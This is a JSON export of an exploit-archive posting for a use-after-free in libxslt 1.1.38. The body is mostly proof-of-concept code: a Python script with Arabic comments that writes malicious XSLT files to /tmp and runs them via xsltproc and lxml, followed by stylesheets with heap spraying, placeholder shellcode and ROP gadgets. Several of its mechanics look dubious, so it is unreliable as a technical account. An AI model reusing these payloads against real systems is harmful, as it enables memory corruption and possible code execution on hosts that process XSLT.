{"id":28308,"date":"2025-12-02T15:33:22","date_gmt":"2025-12-02T15:33:22","guid":{"rendered":"http:\/\/localhost\/?p=28308"},"modified":"2025-12-02T15:33:22","modified_gmt":"2025-12-02T15:33:22","slug":"libxslt-key-data-storage-1138-use-after-free-memory-corruption","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28308","title":{"rendered":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323"},"content":{"rendered":"

{“lastseen”:”2025-12-02T19:40:42″,”description”:”libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory corruption…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption”,”source”:””,”references”:””,”id”:”PACKETSTORM:212323″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : libxslt Key Data Storage 1.1.38 memory corruption |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/gitlab.gnome.org\/GNOME\/libxml2\/-\/wikis\/home |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/207871\/\\n \\n [+] Summary : \\n \\n The vulnerability occurs due to improper handling of Result Value Trees (RVTs) when evaluating XSLT keys with certain XPath axes:\\n Global variables (xsl:variable) are stored as RVTs in a linked list using prev\/next pointers\\n XSLT keys (xsl:key) using preceding:: axis traverse across RVT boundaries via these pointers\\n Memory corruption occurs when RVTs are freed but key tables retain references to their nodes\\n \\n [+] Affected Version : All versions up to and including 1.1.38\\n \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n # libxslt_uaf_exploit.py\\n # \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 Use-After-Free \u0641\u064a libxslt \u0639\u0628\u0631 Python lxml\\n \\n import lxml.etree as ET\\n import sys\\n import os\\n import subprocess\\n from base64 import b64encode\\n \\n class LibxsltUAFExploit:\\n def __init__(self):\\n self.xslt_content = None\\n self.xml_content = None\\n \\n def create_malicious_xslt(self):\\n \\”\\”\\”\u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XSLT \u0636\u0627\u0631 \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629\\”\\”\\”\\n \\n self.xslt_content = ”’\\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003cxsl:stylesheet version=\\”1.0\\” xmlns:xsl=\\”http:\/\/www.w3.org\/1999\/XSL\/Transform\\”\\u003e\\n \\n \\u003c!– ========================================= –\\u003e\\n \\u003c!– \u0627\u0633\u062a\u063a\u0644\u0627\u0644 Use-After-Free \u0641\u064a libxslt –\\u003e\\n \\u003c!– ========================================= –\\u003e\\n \\n \\u003cxsl:variable name=\\”SENSITIVE_RVT\\”\\u003e\\n \\u003ccredentials\\u003e\\n \\u003cusername\\u003eadmin\\u003c\/username\\u003e\\n \\u003cpassword\\u003eSuperSecret@123!\\u003c\/password\\u003e\\n \\u003ctoken\\u003eBearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\\u003c\/token\\u003e\\n \\u003capi_key\\u003eAKIAIOSFODNN7EXAMPLE\\u003c\/api_key\\u003e\\n \\u003c\/credentials\\u003e\\n \\u003cfinancial\\u003e\\n \\u003ccredit_card\\u003e4111-1111-1111-1111\\u003c\/credit_card\\u003e\\n \\u003cexpiry\\u003e12\/25\\u003c\/expiry\\u003e\\n \\u003ccvv\\u003e123\\u003c\/cvv\\u003e\\n \\u003c\/financial\\u003e\\n \\u003cmemory_blocks\\u003e\\n \\u003cblock id=\\”b1\\”\\u003e\\n \\u003cdata\\u003eAAAAAAAA\\u003c\/data\\u003e\\n \\u003cpointer\\u003e0x7f8a1b002000\\u003c\/pointer\\u003e\\n \\u003c\/block\\u003e\\n \\u003cblock id=\\”b2\\”\\u003e\\n \\u003cdata\\u003eBBBBBBBB\\u003c\/data\\u003e\\n \\u003cpointer\\u003e0x7f8a1b002100\\u003c\/pointer\\u003e\\n \\u003c\/block\\u003e\\n \\u003c\/memory_blocks\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:variable name=\\”CONTROL_RVT\\”\\u003e\\n \\u003ccontrol_data\\u003e\\n \\u003cgadgets\\u003e\\n \\u003cgadget\\u003epop rdi; ret\\u003c\/gadget\\u003e\\n \\u003cgadget\\u003esystem@plt\\u003c\/gadget\\u003e\\n \\u003c\/gadgets\\u003e\\n \\u003cshellcode\\u003e\\n \\u003cstage1\\u003e\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x48\\\\\\\\xbb\\\\\\\\xd1\\\\\\\\x9d\\\\\\\\x96\\\\\\\\x91\\\\\\\\xd0\\\\\\\\x8c\\\\\\\\x97\\\\\\\\xff\\u003c\/stage1\\u003e\\n \\u003c\/shellcode\\u003e\\n \\u003c\/control_data\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003c!– \u0645\u0641\u0627\u062a\u064a\u062d \u0644\u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 –\\u003e\\n \\u003cxsl:key name=\\”UAF_KEY\\” match=\\”block\\” use=\\”preceding::block[1]\/@id\\”\/\\u003e\\n \\u003cxsl:key name=\\”CRED_KEY\\” match=\\”credentials\/*\\” use=\\”preceding::username[1]\/text()\\”\/\\u003e\\n \\u003cxsl:key name=\\”MEM_KEY\\” match=\\”financial\/*\\” use=\\”preceding::credit_card[1]\/text()\\”\/\\u003e\\n \\n \\u003cxsl:template match=\\”\/\\”\\u003e\\n \\u003cexploitation_result\\u003e\\n \\u003c!– \u062a\u0641\u0639\u064a\u0644 UAF –\\u003e\\n \\u003cuaf_trigger\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’SENSITIVE_RVT’]\/\/block\\”\\u003e\\n \\u003cmemory_leak\\u003e\\n \\u003ccurrent_block\\u003e\\u003cxsl:value-of select=\\”@id\\”\/\\u003e\\u003c\/current_block\\u003e\\n \\u003ccross_access\\u003e\\n \\u003cxsl:value-of select=\\”key(‘UAF_KEY’, preceding::block[1]\/@id)\/@id\\”\/\\u003e\\n \\u003c\/cross_access\\u003e\\n \\u003cleaked_data\\u003e\\n \\u003cxsl:value-of select=\\”key(‘UAF_KEY’, preceding::block[1]\/@id)\/data\/text()\\”\/\\u003e\\n \\u003c\/leaked_data\\u003e\\n \\u003c\/memory_leak\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/uaf_trigger\\u003e\\n \\n \\u003c!– \u062a\u0633\u0631\u064a\u0628 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f –\\u003e\\n \\u003ccredential_leak\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’SENSITIVE_RVT’]\/\/username\\”\\u003e\\n \\u003cleaked_cred\\u003e\\n \\u003cuser\\u003e\\u003cxsl:value-of select=\\”text()\\”\/\\u003e\\u003c\/user\\u003e\\n \\u003cpassword\\u003e\\u003cxsl:value-of select=\\”key(‘CRED_KEY’, text())\/text()\\”\/\\u003e\\u003c\/password\\u003e\\n \\u003ctoken\\u003e\\u003cxsl:value-of select=\\”key(‘CRED_KEY’, text())[2]\/text()\\”\/\\u003e\\u003c\/token\\u003e\\n \\u003c\/leaked_cred\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/credential_leak\\u003e\\n \\n \\u003c!– \u062a\u0633\u0631\u064a\u0628 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0627\u0644\u064a\u0629 –\\u003e\\n \\u003cfinancial_leak\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’SENSITIVE_RVT’]\/\/credit_card\\”\\u003e\\n \\u003cleaked_financial\\u003e\\n \\u003ccard\\u003e\\u003cxsl:value-of select=\\”text()\\”\/\\u003e\\u003c\/card\\u003e\\n \\u003cexpiry\\u003e\\u003cxsl:value-of select=\\”key(‘MEM_KEY’, text())\/text()\\”\/\\u003e\\u003c\/expiry\\u003e\\n \\u003ccvv\\u003e\\u003cxsl:value-of select=\\”key(‘MEM_KEY’, text())[2]\/text()\\”\/\\u003e\\u003c\/cvv\\u003e\\n \\u003c\/leaked_financial\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/financial_leak\\u003e\\n \\u003c\/exploitation_result\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c\/xsl:stylesheet\\u003e”’\\n \\n with open(‘\/tmp\/exploit.xsl’, ‘w’) as f:\\n f.write(self.xslt_content)\\n print(\\”[+] \u062a\u0645 \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XSLT \u0627\u0644\u0636\u0627\u0631\\”)\\n \\n def create_target_xml(self):\\n \\”\\”\\”\u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XML \u0647\u062f\u0641\\”\\”\\”\\n \\n self.xml_content = ”’\\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003ctarget_data\\u003e\\n \\u003capplication\\u003e\\n \\u003cname\\u003eVulnerable App\\u003c\/name\\u003e\\n \\u003cversion\\u003e1.0\\u003c\/version\\u003e\\n \\u003c\/application\\u003e\\n \\u003cenvironment\\u003e\\n \\u003cos\\u003eLinux\\u003c\/os\\u003e\\n \\u003cuser\\u003etest_user\\u003c\/user\\u003e\\n \\u003c\/environment\\u003e\\n \\u003c\/target_data\\u003e”’\\n \\n with open(‘\/tmp\/target.xml’, ‘w’) as f:\\n f.write(self.xml_content)\\n print(\\”[+] \u062a\u0645 \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XML \u0627\u0644\u0647\u062f\u0641\\”)\\n \\n def exploit_via_python_lxml(self):\\n \\”\\”\\”\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0628\u0631 lxml \u0645\u0628\u0627\u0634\u0631\u0629\\”\\”\\”\\n \\n print(\\”[+] \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0628\u0631 Python lxml…\\”)\\n \\n try:\\n # \u062a\u062d\u0645\u064a\u0644 \u0648\u062a\u062d\u0648\u064a\u0644 XML \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 XSLT\\n xml_doc = ET.parse(‘\/tmp\/target.xml’)\\n xslt_doc = ET.parse(‘\/tmp\/exploit.xsl’)\\n transform = ET.XSLT(xslt_doc)\\n \\n # \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u062d\u0648\u064a\u0644 (\u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629)\\n result = transform(xml_doc)\\n \\n print(\\”[+] \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644:\\”)\\n print(str(result))\\n \\n except Exception as e:\\n print(f\\”[-] \u0641\u0634\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0628\u0631 lxml: {e}\\”)\\n \\n def exploit_via_xsltproc(self):\\n \\”\\”\\”\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0628\u0631 xsltproc\\”\\”\\”\\n \\n print(\\”[+] \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0628\u0631 xsltproc…\\”)\\n \\n try:\\n result = subprocess.run([\\n ‘xsltproc’, \\n ‘\/tmp\/exploit.xsl’, \\n ‘\/tmp\/target.xml’\\n ], capture_output=True, text=True, timeout=10)\\n \\n print(\\”[+] stdout:\\”)\\n print(result.stdout)\\n \\n if result.stderr:\\n print(\\”[+] stderr (\u0642\u062f \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062a\u0635\u062d\u064a\u062d):\\”)\\n print(result.stderr)\\n \\n except subprocess.TimeoutExpired:\\n print(\\”[-] \u0627\u0646\u062a\u0647\u062a \u0645\u0647\u0644\u0629 \u0627\u0644\u062a\u0646\u0641\u064a\u0630 – \u0627\u062d\u062a\u0645\u0627\u0644 \u062a\u062d\u0637\u0645 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\\”)\\n except Exception as e:\\n print(f\\”[-] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u062a\u0646\u0641\u064a\u0630: {e}\\”)\\n \\n def check_vulnerability(self):\\n \\”\\”\\”\u0641\u062d\u0635 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0635\u0627\u0628\\”\\”\\”\\n \\n print(\\”[+] \u0641\u062d\u0635 \u0625\u0635\u062f\u0627\u0631 libxslt…\\”)\\n \\n try:\\n # \u0641\u062d\u0635 \u0625\u0635\u062f\u0627\u0631 lxml\/libxslt\\n import lxml\\n print(f\\”[+] \u0625\u0635\u062f\u0627\u0631 lxml: {lxml.__version__}\\”)\\n \\n # \u0641\u062d\u0635 \u0625\u0630\u0627 \u0643\u0627\u0646 xsltproc \u0645\u062b\u0628\u062a\\n result = subprocess.run([‘xsltproc’, ‘–version’], \\n capture_output=True, text=True)\\n if ‘libxslt’ in result.stderr:\\n print(\\”[+] xsltproc \u0645\u062b\u0628\u062a:\\”)\\n print(result.stderr)\\n return True\\n else:\\n print(\\”[-] xsltproc \u063a\u064a\u0631 \u0645\u062b\u0628\u062a\\”)\\n return False\\n \\n except Exception as e:\\n print(f\\”[-] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u0641\u062d\u0635: {e}\\”)\\n return False\\n \\n def advanced_exploit(self):\\n \\”\\”\\”\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u062a\u0642\u062f\u0645 \u0645\u0639 \u062a\u062d\u0643\u0645 \u0623\u0641\u0636\u0644\\”\\”\\”\\n \\n print(\\”[+] \u0628\u062f\u0621 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645…\\”)\\n \\n # \u0625\u0646\u0634\u0627\u0621 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u062a\u0639\u062f\u062f \u0627\u0644\u0645\u0631\u0627\u062d\u0644\\n advanced_xslt = ”’\\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003cxsl:stylesheet version=\\”1.0\\” xmlns:xsl=\\”http:\/\/www.w3.org\/1999\/XSL\/Transform\\”\\u003e\\n \\n \\u003cxsl:variable name=\\”stage1\\”\\u003e\\n \\u003cdata\\u003eSTAGE1_PAYLOAD\\u003c\/data\\u003e\\n \\u003cchunk\\u003eCHUNK_A\\u003c\/chunk\\u003e\\n \\u003cchunk\\u003eCHUNK_B\\u003c\/chunk\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:variable name=\\”stage2\\”\\u003e\\n \\u003cdata\\u003eSTAGE2_PAYLOAD\\u003c\/data\\u003e\\n \\u003cchunk\\u003eCHUNK_C\\u003c\/chunk\\u003e\\n \\u003cchunk\\u003eCHUNK_D\\u003c\/chunk\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:key name=\\”ADV_KEY\\” match=\\”chunk\\” use=\\”preceding::chunk[1]\/text()\\”\/\\u003e\\n \\n \\u003cxsl:template match=\\”\/\\”\\u003e\\n \\u003cadvanced_exploit\\u003e\\n \\u003cstage1\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’stage2′]\/\/chunk\\”\\u003e\\n \\u003cleak\\u003e\\n \\u003cxsl:value-of select=\\”key(‘ADV_KEY’, preceding::chunk[1]\/text())\/text()\\”\/\\u003e\\n \\u003c\/leak\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/stage1\\u003e\\n \\u003cmemory_analysis\\u003e\\n \\u003cuaf\\u003eTRIGGERED\\u003c\/uaf\\u003e\\n \\u003cboundary_crossing\\u003eCONFIRMED\\u003c\/boundary_crossing\\u003e\\n \\u003c\/memory_analysis\\u003e\\n \\u003c\/advanced_exploit\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c\/xsl:stylesheet\\u003e”’\\n \\n with open(‘\/tmp\/advanced_exploit.xsl’, ‘w’) as f:\\n f.write(advanced_xslt)\\n \\n try:\\n result = subprocess.run([\\n ‘xsltproc’, \\n ‘\/tmp\/advanced_exploit.xsl’, \\n ‘\/tmp\/target.xml’\\n ], capture_output=True, text=True)\\n \\n print(\\”[+] \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645:\\”)\\n print(result.stdout)\\n \\n except Exception as e:\\n print(f\\”[-] \u0641\u0634\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645: {e}\\”)\\n \\n def cleanup(self):\\n \\”\\”\\”\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\”\\”\\”\\n \\n try:\\n files_to_remove = [\\n ‘\/tmp\/exploit.xsl’,\\n ‘\/tmp\/target.xml’, \\n ‘\/tmp\/advanced_exploit.xsl’\\n ]\\n \\n for file in files_to_remove:\\n if os.path.exists(file):\\n os.remove(file)\\n \\n print(\\”[+] \u062a\u0645 \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\”)\\n except Exception as e:\\n print(f\\”[-] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u062a\u0646\u0638\u064a\u0641: {e}\\”)\\n \\n def main():\\n exploit = LibxsltUAFExploit()\\n \\n print(\\”=\\” * 50)\\n print(\\”\u0645\u0633\u062a\u063a\u0644\u0629 \u062b\u063a\u0631\u0629 libxslt UAF – Python Edition\\”)\\n print(\\”=\\” * 50)\\n \\n # \u0641\u062d\u0635 \u0627\u0644\u0642\u0627\u0628\u0644\u064a\u0629 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n if not exploit.check_vulnerability():\\n print(\\”[-] \u0627\u0644\u0646\u0638\u0627\u0645 \u0644\u0627 \u064a\u0628\u062f\u0648 \u0645\u0635\u0627\u0628\u0627\u064b\\”)\\n return\\n \\n try:\\n # \u0625\u0646\u0634\u0627\u0621 \u0627\u0644\u0645\u0644\u0641\u0627\u062a\\n exploit.create_malicious_xslt()\\n exploit.create_target_xml()\\n \\n # \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n exploit.exploit_via_xsltproc()\\n print(\\”\\\\n\\” + \\”=\\”*30)\\n exploit.exploit_via_python_lxml()\\n print(\\”\\\\n\\” + \\”=\\”*30)\\n exploit.advanced_exploit()\\n \\n except KeyboardInterrupt:\\n print(\\”\\\\n[!] \u062a\u0645 \u0625\u064a\u0642\u0627\u0641 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0628\u0648\u0627\u0633\u0637\u0629 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\”)\\n except Exception as e:\\n print(f\\”[-] \u062e\u0637\u0623 \u063a\u064a\u0631 \u0645\u062a\u0648\u0642\u0639: {e}\\”)\\n finally:\\n # \u062a\u0646\u0638\u064a\u0641\\n exploit.cleanup()\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n ====================================\\n [+] 1 Setting up memory structures :\\n ====================================\\n \\u003c!– uaf.xml –\\u003e\\n \\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003croot\\u003e\\n \\u003cnode id=\\”target\\”\\u003eImportant Data\\u003c\/node\\u003e\\n \\u003cnode\\u003eOther Data\\u003c\/node\\u003e\\n \\u003c\/root\\u003e\\n \\n =======*****=====\\n \\n \\u003c!– uaf.xsl –\\u003e\\n \\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003cxsl:stylesheet version=\\”1.0\\” xmlns:xsl=\\”http:\/\/www.w3.org\/1999\/XSL\/Transform\\”\\u003e\\n \\n \\u003c!– Global Variable 1 – \u0633\u064a\u062a\u0645 \u0625\u0646\u0634\u0627\u0621 RVT \u0627\u0644\u0623\u0648\u0644 –\\u003e\\n \\u003cxsl:variable name=\\”global1\\”\\u003e\\n \\u003cdata\\u003e\\n \\u003citem\\u003evalue1\\u003c\/item\\u003e\\n \\u003citem\\u003evalue2\\u003c\/item\\u003e\\n \\u003citem\\u003evalue3\\u003c\/item\\u003e\\n \\u003c\/data\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003c!– Global Variable 2 – \u0633\u064a\u062a\u0645 \u0625\u0646\u0634\u0627\u0621 RVT \u0627\u0644\u062b\u0627\u0646\u064a –\\u003e\\n \\u003cxsl:variable name=\\”global2\\”\\u003e\\n \\u003ccontainer\\u003e\\n \\u003centry\\u003edata1\\u003c\/entry\\u003e\\n \\u003centry\\u003edata2\\u003c\/entry\\u003e\\n \\u003centry id=\\”vulnerable\\”\\u003eSensitive Information\\u003c\/entry\\u003e\\n \\u003c\/container\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003c!– \u0627\u0644\u0645\u0641\u062a\u0627\u062d \u0627\u0644\u0630\u064a \u064a\u0633\u062a\u062e\u062f\u0645 \u0645\u062d\u0648\u0631 preceding –\\u003e\\n \\u003cxsl:key name=\\”precedingKey\\” match=\\”entry\\” use=\\”preceding::entry[1]\/text()\\”\/\\u003e\\n \\n \\u003cxsl:template match=\\”\/\\”\\u003e\\n \\u003coutput\\u003e\\n \\u003c!– \u062a\u0641\u0639\u064a\u0644 \u062a\u0642\u064a\u064a\u0645 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0639\u0644\u0649 RVT –\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’global2’]\/\/entry\\”\\u003e\\n \\u003cresult\\u003e\\n \\u003cxsl:value-of select=\\”key(‘precedingKey’, preceding::entry[1]\/text())\\”\/\\u003e\\n \\u003c\/result\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/output\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c\/xsl:stylesheet\\u003e\\n \\n =========******=================\\n [+] Manipulating Memory Planning\\n ================================\\n \\u003c!– exploit.xsl –\\u003e\\n \\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003cxsl:stylesheet version=\\”1.0\\” xmlns:xsl=\\”http:\/\/www.w3.org\/1999\/XSL\/Transform\\”\\n xmlns:exsl=\\”http:\/\/exslt.org\/common\\”\\u003e\\n \\n \\u003c!– \u0625\u0646\u0634\u0627\u0621 \u0639\u0642\u062f \u0645\u062a\u0639\u062f\u062f\u0629 \u0644\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u062a\u062e\u0637\u064a\u0637 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 –\\u003e\\n \\u003cxsl:variable name=\\”heapSpray\\”\\u003e\\n \\u003cspray\\u003e\\n \\u003cxsl:call-template name=\\”generateSpray\\”\\u003e\\n \\u003cxsl:with-param name=\\”count\\” select=\\”1000\\”\/\\u003e\\n \\u003c\/xsl:call-template\\u003e\\n \\u003c\/spray\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:template name=\\”generateSpray\\”\\u003e\\n \\u003cxsl:param name=\\”count\\”\/\\u003e\\n \\u003cxsl:if test=\\”$count \\u003e 0\\”\\u003e\\n \\u003cchunk size=\\”128\\”\\u003e\\u003cdata\\u003e\\u003cxsl:value-of select=\\”$count\\”\/\\u003e\\u003c\/data\\u003e\\u003c\/chunk\\u003e\\n \\u003cxsl:call-template name=\\”generateSpray\\”\\u003e\\n \\u003cxsl:with-param name=\\”count\\” select=\\”$count – 1\\”\/\\u003e\\n \\u003c\/xsl:call-template\\u003e\\n \\u003c\/xsl:if\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c!– RVT \u0627\u0644\u0630\u064a \u0633\u064a\u062a\u0645 \u062a\u062d\u0631\u064a\u0631\u0647 –\\u003e\\n \\u003cxsl:variable name=\\”targetRVT\\”\\u003e\\n \\u003csensitive\\u003e\\n \\u003cpassword\\u003eAdmin123!\\u003c\/password\\u003e\\n \\u003ctoken\\u003eSECRET-TOKEN-ABCD\\u003c\/token\\u003e\\n \\u003ccreditcard\\u003e4111111111111111\\u003c\/creditcard\\u003e\\n \\u003c\/sensitive\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003c!– RVT \u0627\u0644\u0630\u064a \u0633\u064a\u062d\u062a\u0641\u0638 \u0628\u0627\u0644\u0645\u0624\u0634\u0631\u0627\u062a –\\u003e\\n \\u003cxsl:variable name=\\”holderRVT\\”\\u003e\\n \\u003cholder\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’targetRVT’]\/\/*\\”\\u003e\\n \\u003creference\\u003e\\n \\u003cxsl:value-of select=\\”name()\\”\/\\u003e:\\u003cxsl:value-of select=\\”text()\\”\/\\u003e\\n \\u003c\/reference\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/holder\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:key name=\\”exploitKey\\” match=\\”sensitive\/*\\” use=\\”preceding::*[name()=’password’]\\”\/\\u003e\\n \\n \\u003cxsl:template match=\\”\/\\”\\u003e\\n \\u003cexploit\\u003e\\n \\u003c!– \u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 –\\u003e\\n \\u003cxsl:variable name=\\”trigger\\”\\u003e\\n \\u003cxsl:for-each select=\\”document(”)\/\/xsl:variable[@name=’targetRVT’]\/\/token\\”\\u003e\\n \\u003cxsl:value-of select=\\”key(‘exploitKey’, preceding::password\/text())\\”\/\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003c!– \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0645\u062d\u0631\u0631\u0629 –\\u003e\\n \\u003cleaked\\u003e\\n \\u003cxsl:copy-of select=\\”document(”)\/\/xsl:variable[@name=’holderRVT’]\/\/reference\\”\/\\u003e\\n \\u003c\/leaked\\u003e\\n \\u003c\/exploit\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c\/xsl:stylesheet\\u003e\\n \\n =========******==================\\n [+] Exploiting the Use-After-Free\\n =================================\\n \\u003c!– advanced_exploit.xsl –\\u003e\\n \\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003cxsl:stylesheet version=\\”1.0\\” xmlns:xsl=\\”http:\/\/www.w3.org\/1999\/XSL\/Transform\\”\\n xmlns:func=\\”http:\/\/exslt.org\/functions\\”\\n extension-element-prefixes=\\”func\\”\\u003e\\n \\n \\u003c!– \u062f\u0627\u0644\u0629 \u0644\u0625\u0646\u0634\u0627\u0621 \u0643\u0627\u0626\u0646\u0627\u062a \u0645\u062a\u0639\u062f\u062f\u0629 –\\u003e\\n \\u003cfunc:function name=\\”func:createObjects\\”\\u003e\\n \\u003cxsl:param name=\\”count\\”\/\\u003e\\n \\u003cfunc:result\\u003e\\n \\u003cobjects\\u003e\\n \\u003cxsl:for-each select=\\”(\/\/node())[position() \\u0026lt;= $count]\\”\\u003e\\n \\u003cobject id=\\”{position()}\\”\\u003e\\n \\u003cfield1\\u003eAAAAAAAA\\u003c\/field1\\u003e\\n \\u003cfield2\\u003eBBBBBBBB\\u003c\/field2\\u003e\\n \\u003cfield3\\u003eCCCCCCCC\\u003c\/field3\\u003e\\n \\u003cfield4\\u003eDDDDDDDD\\u003c\/field4\\u003e\\n \\u003c\/object\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/objects\\u003e\\n \\u003c\/func:result\\u003e\\n \\u003c\/func:function\\u003e\\n \\n \\u003c!– \u0627\u0644\u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0627\u0644\u0639\u0627\u0644\u0645\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0641\u0627\u0639\u0644 \u0645\u0639 \u0628\u0639\u0636\u0647\u0627 –\\u003e\\n \\u003cxsl:variable name=\\”vulnRVT1\\” select=\\”func:createObjects(50)\\”\/\\u003e\\n \\u003cxsl:variable name=\\”vulnRVT2\\” select=\\”func:createObjects(50)\\”\/\\u003e\\n \\u003cxsl:variable name=\\”vulnRVT3\\” select=\\”func:createObjects(50)\\”\/\\u003e\\n \\n \\u003c!– \u0645\u0641\u0627\u062a\u064a\u062d \u0645\u062a\u0639\u062f\u062f\u0629 \u0644\u0632\u064a\u0627\u062f\u0629 \u0641\u0631\u0635\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 